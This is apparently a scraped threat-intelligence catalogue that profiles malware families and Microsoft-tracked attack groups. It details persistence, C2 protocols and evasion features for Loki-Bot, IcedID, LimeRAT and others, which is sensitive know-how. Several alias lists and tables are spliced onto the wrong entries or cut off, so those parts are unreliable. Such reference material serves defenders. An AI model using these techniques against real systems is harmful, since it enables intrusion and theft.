DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

Dharma

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

DreamBot

2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)

In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.

See win.gozi for additional historical information.

Dridex

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method."

IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

Gameover P2P

Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.

GovRAT

The tag is: *misp-galaxy:malpedia*="GovRAT"

GovRAT is also known as:
Gozi

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.

Grateful POS

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was uploaded in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked
to some of the high-profile merchant breaches in the past.

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.
Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

IcedID

Analysis Observations:

• It sets up persistence by creating a Scheduled Task with the following characteristics:
  • Name: Update
  • Trigger: At Log on
  • Action: %LocalAppData%\Example\waroupada.exe /i
  • Conditions: If the computer ceases to be idle.
  • The sub-directory within %LocalAppData%, appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
  • The filename remained static during analysis.
  • The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
  • If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
  • If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
  • Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
  • Setup a local listener to proxy traffic on 127.0.0.1:50000

IRONHALO

IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path. The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.

**ISFB**

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merged with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel’s login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc. This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

The tag is: misp-galaxy:malpedia="Kardon Loader"

Kardon Loader is also known as:
Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

The tag is: `misp-galaxy:malpedia="Karius"`

Karius is also known as:

KleptoParasite Stealer

KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.

PDB-strings suggest a relationship to JogLog v6 and v7.

LimeRAT

## Description

Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves.
Main Features

- .NET
- Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
- Connection
- Using pastebin.com as ip:port, Instead of noip.com DNS. And Also using multi-ports
- Plugin
- Using plugin system to decrease stub’s size and lower the AV detection
- Encryption
- The communication between server & client is encrypted with AES
- Spreading
- Infecting all files and folders on USB drivers
- Bypass
- Low AV detection and undetected startup method
- Lightweight
- Payload size is about 25 KB
- Anti Virtual Machines
- Uninstall itself if the machine is virtual to avoid scanning or analyzing
- Ransomware
- Encrypting files on all HHD and USB with .Lime extension
- XMR Miner
- High performance Monero CPU miner with user idle\active optimizations
- DDoS
- Creating a powerful DDOS attack to make an online service unavailable
- Crypto Stealer
- Stealing Cryptocurrency sensitive data
- Screen-Locker
- Prevents user from accessing their Windows GUI
- And more
- On Connect Auto Task
- Force enable Windows RDP
- Persistence
- File manager
- Passwords stealer
- Remote desktop
- Bitcoin grabber
- Downloader
- Keylogger

The tag is: `misp-galaxy:malpedia="LimeRAT"`

LimeRAT is also known as:

Loda

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.

The tag is: misp-galaxy:malpedia="Loda"

Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.

Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA\C98066\”.

There can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:

FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.
Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

<table>
<thead>
<tr>
<th>BYTE PAYLOAD TYPE</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x26</td>
<td>Stolen Cryptocurrency Wallet</td>
</tr>
<tr>
<td>0x27</td>
<td>Stolen Application Data</td>
</tr>
<tr>
<td>0x28</td>
<td>Get C2 Commands from C2 Server</td>
</tr>
<tr>
<td>0x29</td>
<td>Stolen File</td>
</tr>
<tr>
<td>0x2A (Point of Sale?)</td>
<td>Keylogger Data</td>
</tr>
<tr>
<td>0x2B</td>
<td>POS</td>
</tr>
<tr>
<td>0x2C</td>
<td>Screenshot</td>
</tr>
</tbody>
</table>

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

<table>
<thead>
<tr>
<th>BYTE INSTRUCTION</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>Download EXE &amp; Execute</td>

NjRAT

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

</table>
Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

Peppy RAT

Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

### PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: `misp-galaxy:malpedia="PlugX"`

PlugX is also known as:

- Korplug

PsiX

According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.

In binaries, apart from BotModule and MainModule, references to the following Modules have been observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule

pupy (Windows)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: misp-galaxy:malpedia="pupy (Windows)"

pupy (Windows) is also known as:

Reaver

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrca malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

Retefe (Windows)

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It’s primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.
The tag is: misp-galaxy:malpedia="Retefe (Windows)"

Retefe (Windows) is also known as:

- Tsukuba
- Werdlod

ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: `misp-galaxy:malpedia="ServHelper"`

**SmokeLoader**

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: *misp-galaxy:malpedia=*SmokeLoader*

SmokeLoader is also known as:

- Dofoil

SOUNDBITE is also known as:

• denis
**SPACESHIP**

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system.

The tag is: *misp-galaxy:malpedia=“SPACESHIP”*

Sysraw Stealer

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to
/WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+.dat" and POSTs them.

TeamBot

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program’s author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: misp-galaxy:malpedia="TinyNuke"

TinyNuke is also known as:

- MicroBankingTrojan
- Nuclear Bot

**WebMonitor RAT**

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

Xwo

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).

Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

**ZhMimikatz**

The tag is: `misp-galaxy:malpedia="ZhMimikatz"`

ZhMimikatz is also known as:

**Zloader**

This family describes the (initially small) loader, which downloads Zeus OpenSSL.

In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

The tag is: `misp-galaxy:malpedia="Zloader"`

Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various
**PROMETHIUM**

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: `misp-galaxy:microsoft-activity-group="PROMETHIUM"`

PROMETHIUM has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:threat-actor="PROMETHIUM"` with estimative-language:likelihood-probability="likely"

**NEODYMIUM**

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: `misp-galaxy:microsoft-activity-group="NEODYMIUM"`

NEODYMIUM has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"` with estimative-language:likelihood-probability="likely"

STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims' computer.

The tag is: `misp-galaxy:microsoft-activity-group="STRONTIUM"

STRONTIUM is also known as:

- APT 28
- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127
• Group-4127
• Sofacy
• Grey-Cloud

STRONTIUM has relationships with:

• similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"

Links

DUBNIUM

DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.

The tag is: misp-galaxy:microsoft-activity-group="DUBNIUM"

DUBNIUM is also known as:

• darkhotel

DUBNIUM has relationships with:

• similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"

Links

https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: misp-galaxy:microsoft-activity-group="PLATINUM"

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"

BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing...
macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winniti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: `misp-galaxy:microsoft-activity-group="BARIUM"

**LEAD**

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems. During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winniti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winniti installer directly to compromised machines.

GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we're encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.

The tag is: misp-galaxy:microsoft-activity-group="GALLIUM"

GALLIUM is also known as:
PARINACOTA

